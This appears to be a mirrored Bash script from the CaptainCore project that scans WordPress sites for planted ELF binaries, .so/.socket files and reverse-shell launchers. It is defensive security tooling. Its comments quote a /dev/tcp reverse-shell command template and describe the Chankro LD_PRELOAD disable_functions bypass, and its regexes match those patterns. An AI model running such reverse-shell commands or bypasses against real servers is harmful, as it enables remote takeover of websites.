mirror of
https://ghproxy.net/https://github.com/CaptainCore/captaincore.git
synced 2026-08-03 14:00:26 +08:00
219 lines
11 KiB
Bash
Executable file
219 lines
11 KiB
Bash
Executable file
#!/usr/bin/env bash
|
|
|
|
#
|
|
# Detect native binary / reverse-shell payloads in a WordPress web tree
|
|
#
|
|
# A WordPress site is PHP + assets. ELF binaries, `.so` shared objects, and
|
|
# `.socket` files have no legitimate place in the document root. Attackers
|
|
# drop them to bypass PHP's disable_functions / open_basedir hardening:
|
|
#
|
|
# * Chankro toolkit โ an ELF `.so` (LD_PRELOAD payload) paired with a
|
|
# shell script (often named `*.socket`) that opens a reverse shell via
|
|
# `bash -i >& /dev/tcp/<c2>/<port>`.
|
|
# * disable_functions bypass `.so` โ LD_PRELOAD shim that shells out, e.g.
|
|
# to spawn a local `php -S 127.0.0.1:<port>` server inside the web tree.
|
|
#
|
|
# These are NON-PHP, so plugin/core checksum scans, `php-in-uploads`, and
|
|
# most signature scanners walk straight past them. They frequently survive
|
|
# file-based cleanups for years because cleanups grep for `.php`.
|
|
#
|
|
# Real example (jerseysportszone.com, planted 2021, found 2026):
|
|
# wp-content/themes/twentysixteen.chankro.so (ELF, Chankro payload)
|
|
# wp-content/themes/twentysixteen.acpid.socket (sh, reverse shell to :25)
|
|
# .19235ant_x64.so / .27301ant_x64.so (ELF, disable_functions bypass)
|
|
#
|
|
# Detection passes (each pass is deduped against the prior), all web-tree-wide:
|
|
# A. Extension โ any `*.so` / `*.socket` file OR directory.
|
|
# B. ELF magic โ any file beginning with the ELF magic (\x7fELF),
|
|
# regardless of name or directory. Scans the WHOLE tree,
|
|
# including non-WordPress dirs (old_site/, backup/, _old/,
|
|
# wp-content/cache, wp-admin, wp-includes) โ a bare
|
|
# `old_site/exploit` ELF with no .so extension slipped past
|
|
# an earlier WP-dirs-only scope on phreddcentral.com.
|
|
# C. Reverse-shell content โ small text files containing a /dev/tcp(/udp)
|
|
# bash/sh socket redirect, regardless of extension.
|
|
# node_modules/.git are always pruned; wp-content/uploads is pruned under
|
|
# --skip-uploads (Pass A still covers .so/.socket names there).
|
|
#
|
|
# Output format (one row per finding):
|
|
# SEVERITY|TYPE|PATH|DETAIL|SIZE|MTIME
|
|
#
|
|
# Where:
|
|
# SEVERITY = CRITICAL (ELF / reverse-shell / socket-script) or HIGH
|
|
# (suspicious .so/.socket name that isn't clearly benign)
|
|
# TYPE = ELF_BINARY / SO_FILE / SO_DIR / SOCKET_FILE / SOCKET_DIR /
|
|
# REVERSE_SHELL
|
|
# DETAIL = short reason (e.g. C2 endpoint, embedded command)
|
|
# MTIME = YYYY-MM-DD HH:MM (plant date โ often the breach timestamp)
|
|
#
|
|
# Usage:
|
|
# captaincore ssh <site> --script=detect-binary-payloads
|
|
# captaincore ssh @all --script=detect-binary-payloads --quiet --label --parallel=40
|
|
#
|
|
# Flags:
|
|
# --quiet Only output when findings are present (bulk scanning)
|
|
# --skip-uploads Skip the ELF magic scan of wp-content/uploads (faster on
|
|
# sites with huge media libraries; extension + revshell
|
|
# passes still cover uploads)
|
|
#
|
|
|
|
set -uo pipefail
|
|
|
|
# โโ Argument parsing โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
quiet=""
|
|
skip_uploads=""
|
|
WP_ROOT=""
|
|
for _arg in "$@"; do
|
|
case "$_arg" in
|
|
--quiet) quiet=true ;;
|
|
--skip-uploads) skip_uploads=true ;;
|
|
--*) ;;
|
|
*) WP_ROOT="$_arg" ;;
|
|
esac
|
|
done
|
|
|
|
WP_ROOT="${WP_ROOT:-.}"
|
|
cd "$WP_ROOT" 2>/dev/null || { echo "ERROR: Cannot access $WP_ROOT"; exit 1; }
|
|
|
|
if [ ! -f "wp-config.php" ] && [ -f "public/wp-config.php" ]; then
|
|
cd public
|
|
elif [ ! -f "wp-config.php" ] && [ -f "public_html/wp-config.php" ]; then
|
|
cd public_html
|
|
fi
|
|
|
|
if [ ! -f "wp-config.php" ]; then
|
|
[ -z "$quiet" ] && echo "WordPress not found."
|
|
exit 0
|
|
fi
|
|
|
|
# โโ Allowlist โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
# The only ELF/.so files with a plausible (if rare) reason to live in a web
|
|
# tree are commercial PHP loaders bundled by encoded plugins, and native
|
|
# Node addons under node_modules. Everything else is guilty by default.
|
|
# Matched against the full path; add entries as real false positives surface.
|
|
#
|
|
# node_modules / .git โ build/VCS noise
|
|
# ioncube / sourceguardian โ commercial PHP loaders bundled by encoded plugins
|
|
# rosell-dk/webp-convert โ webp-express, image-sizes, op-dashboard, etc. bundle
|
|
# platform `cwebp-*` ELF binaries from this lib
|
|
# ewww-image-optimizer/bin* โ bundles jpegtran/gifsicle/optipng/pngquant/cwebp ELFs
|
|
# wpress-extractor โ All-in-One WP Migration's ELF extractor at web root
|
|
ALLOW_PATH_REGEX='/(node_modules|\.git)/|/(ioncube|sourceguardian|sg_loader)/|loader[._-].*\.so$|ixed\..*\.so$|/rosell-dk/webp-convert/|/ewww-image-optimizer/(binaries|bin)/|(^|/)wpress-extractor$'
|
|
|
|
# Standard image-optimization / media CLI tool basenames (optionally suffixed
|
|
# with -linux / -fbsd / -solaris / -static / a version). These ship as ELF
|
|
# binaries inside legitimate optimizer plugins. Matched on BASENAME so a bundle
|
|
# in any plugin/vendor path is covered, while a payload dropped under a random
|
|
# name in themes/ or the web root is NOT exempted.
|
|
TOOL_BASENAME_REGEX='^(cwebp|dwebp|webpmux|gif2webp|img2webp|jpegtran|djpeg|cjpeg|jpegoptim|mozjpeg|gifsicle|optipng|pngquant|pngout|pngcrush|zopflipng|advpng|exiftool)([._-][A-Za-z0-9.+-]+)?$'
|
|
|
|
is_allowed() {
|
|
printf '%s' "$1" | grep -qE "$ALLOW_PATH_REGEX" && return 0
|
|
printf '%s' "${1##*/}" | grep -qE "$TOOL_BASENAME_REGEX"
|
|
}
|
|
|
|
# First 4 bytes == 7f 45 4c 46 ("\x7fELF")
|
|
is_elf() {
|
|
[ "$(head -c4 "$1" 2>/dev/null | od -An -tx1 2>/dev/null | tr -d ' \n')" = "7f454c46" ]
|
|
}
|
|
|
|
fmt_mtime() { date -d "@$1" '+%Y-%m-%d %H:%M' 2>/dev/null || date -r "$1" '+%Y-%m-%d %H:%M' 2>/dev/null || echo unknown; }
|
|
fsize() { stat -c '%s' "$1" 2>/dev/null || stat -f '%z' "$1" 2>/dev/null || echo 0; }
|
|
fmtime() { stat -c '%Y' "$1" 2>/dev/null || stat -f '%m' "$1" 2>/dev/null || echo 0; }
|
|
|
|
TMPSEEN=$(mktemp); trap 'rm -f "$TMPSEEN"' EXIT
|
|
found_any=""
|
|
|
|
emit() {
|
|
# emit SEVERITY TYPE PATH DETAIL โ dedups on PATH
|
|
# Normalize a leading "./" so Pass A (find .) and Passes B/C (find <dir>)
|
|
# resolve to the same key and don't double-report the same file.
|
|
local sev="$1" type="$2" path="${3#./}" detail="$4"
|
|
grep -qxF "$path" "$TMPSEEN" 2>/dev/null && return
|
|
echo "$path" >> "$TMPSEEN"
|
|
found_any=true
|
|
printf '%s|%s|%s|%s|%s|%s\n' "$sev" "$type" "$path" "$detail" "$(fsize "$path")" "$(fmt_mtime "$(fmtime "$path")")"
|
|
}
|
|
|
|
# Build the find prune expression for noise dirs.
|
|
PRUNE=( -path '*/node_modules/*' -o -path '*/.git/*' )
|
|
|
|
# Prune list for the full-tree passes (B + C). Always drop node_modules/.git;
|
|
# drop wp-content/uploads only under --skip-uploads (it's the heavy tree on
|
|
# media-rich sites โ the extension pass A still covers .so/.socket there).
|
|
TREE_PRUNE=( -path '*/node_modules/*' -o -path '*/.git/*' )
|
|
[ -n "$skip_uploads" ] && TREE_PRUNE+=( -o -path '*/wp-content/uploads/*' )
|
|
|
|
# โโ Pass A: .so / .socket by name (files AND directories), web-tree-wide โโ
|
|
while IFS= read -r f; do
|
|
is_allowed "$f" && continue
|
|
if [ -d "$f" ]; then
|
|
case "$f" in
|
|
*.so) emit CRITICAL SO_DIR "$f" "directory named *.so in web tree" ;;
|
|
*.socket) emit CRITICAL SOCKET_DIR "$f" "directory named *.socket in web tree" ;;
|
|
esac
|
|
continue
|
|
fi
|
|
[ -f "$f" ] || continue
|
|
[ -s "$f" ] || continue # empty file (0 bytes) can't be a payload โ e.g. asm.js *.so stubs
|
|
if is_elf "$f"; then
|
|
emit CRITICAL ELF_BINARY "$f" "ELF binary with .so/.socket extension"
|
|
elif head -c2 "$f" 2>/dev/null | grep -q '#!' || head -c4096 "$f" 2>/dev/null | grep -qiE '/dev/tcp/|bash -i|sh -i|LD_PRELOAD'; then
|
|
det="script/reverse-shell content in .so/.socket file"
|
|
c2=$(grep -oE '/dev/tcp/[0-9.]+/[0-9]+' "$f" 2>/dev/null | head -1)
|
|
[ -n "$c2" ] && det="reverse shell -> ${c2#/dev/tcp/}"
|
|
emit CRITICAL SOCKET_FILE "$f" "$det"
|
|
else
|
|
case "$f" in
|
|
*.so) emit HIGH SO_FILE "$f" "non-ELF file named *.so (inspect)" ;;
|
|
*.socket) emit HIGH SOCKET_FILE "$f" "non-script file named *.socket (inspect)" ;;
|
|
esac
|
|
fi
|
|
done < <(find . \( "${PRUNE[@]}" \) -prune -o \( -name '*.so' -o -name '*.socket' \) -print 2>/dev/null)
|
|
|
|
# โโ Pass B: ELF magic byte scan across the ENTIRE web tree โโ
|
|
# Catches renamed payloads AND ELF binaries hiding in NON-WordPress directories
|
|
# โ legacy/migration leftovers (old_site/, backup/, _old/), wp-content/cache,
|
|
# wp-admin/wp-includes, etc. Scoping this to the WordPress dirs is exactly how a
|
|
# bare `old_site/exploit` ELF (no .so extension) slipped past on phreddcentral.com.
|
|
# A WordPress web tree has no legitimate ELF outside the allowlisted image-tool
|
|
# bundles, so a full-tree sweep is the correct scope. node_modules/.git always
|
|
# pruned; uploads pruned under --skip-uploads. (head-c4 per file is the cost โ on
|
|
# huge sites prefer --skip-uploads.)
|
|
find . \( "${TREE_PRUNE[@]}" \) -prune -o -type f -size +3c -print 2>/dev/null | while IFS= read -r f; do
|
|
is_allowed "$f" && continue
|
|
grep -qxF "${f#./}" "$TMPSEEN" 2>/dev/null && continue
|
|
if is_elf "$f"; then
|
|
emit CRITICAL ELF_BINARY "$f" "ELF binary in web tree (no legitimate use)"
|
|
fi
|
|
done
|
|
|
|
# โโ Pass C: reverse-shell content in small text files (any extension), tree-wide โโ
|
|
# Catches the acpid.socket-style launcher even if renamed to .txt/.dat/.bin etc.,
|
|
# anywhere in the tree (including non-WP dirs like old_site/). Same prune as Pass B.
|
|
while IFS= read -r f; do
|
|
is_allowed "$f" && continue
|
|
grep -qxF "${f#./}" "$TMPSEEN" 2>/dev/null && continue
|
|
# text files only; skip if it looks like a normal PHP source (those are
|
|
# covered by the PHP-focused scanners and would FP on legit socket code)
|
|
case "$f" in *.php|*.phtml|*.inc) continue ;; esac
|
|
# Require the genuine reverse-shell shape: a /dev/tcp (or /dev/udp)
|
|
# bash/sh socket redirect. Bare fsockopen()/socket_connect() are
|
|
# ubiquitous in legitimate library code, docs, and phpdoc caches
|
|
# (matched wp-smush-pro's mixpanel docs and astra-pro-sites' phpcs.xml),
|
|
# so they are NOT used as a signal here โ the PHP malware scanners
|
|
# cover attacker PHP, and this pass targets non-PHP shell launchers.
|
|
if grep -qaE '(bash|sh) -i[[:space:]]*>&[[:space:]]*/dev/(tcp|udp)/|/dev/(tcp|udp)/[0-9.]+/[0-9]+' "$f" 2>/dev/null; then
|
|
c2=$(grep -oE '/dev/(tcp|udp)/[0-9.]+/[0-9]+' "$f" 2>/dev/null | head -1)
|
|
det="reverse-shell pattern in non-PHP file"
|
|
[ -n "$c2" ] && det="reverse shell -> ${c2#/dev/*/}"
|
|
emit CRITICAL REVERSE_SHELL "$f" "$det"
|
|
fi
|
|
done < <(find . \( "${TREE_PRUNE[@]}" \) -prune -o -type f -size +10c -size -65536c -print 2>/dev/null)
|
|
|
|
# โโ Result โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
if [ -z "$found_any" ]; then
|
|
[ -z "$quiet" ] && echo "Clean. No ELF binaries, .so/.socket files, or reverse-shell payloads detected."
|
|
exit 0
|
|
fi
|
|
exit 1
|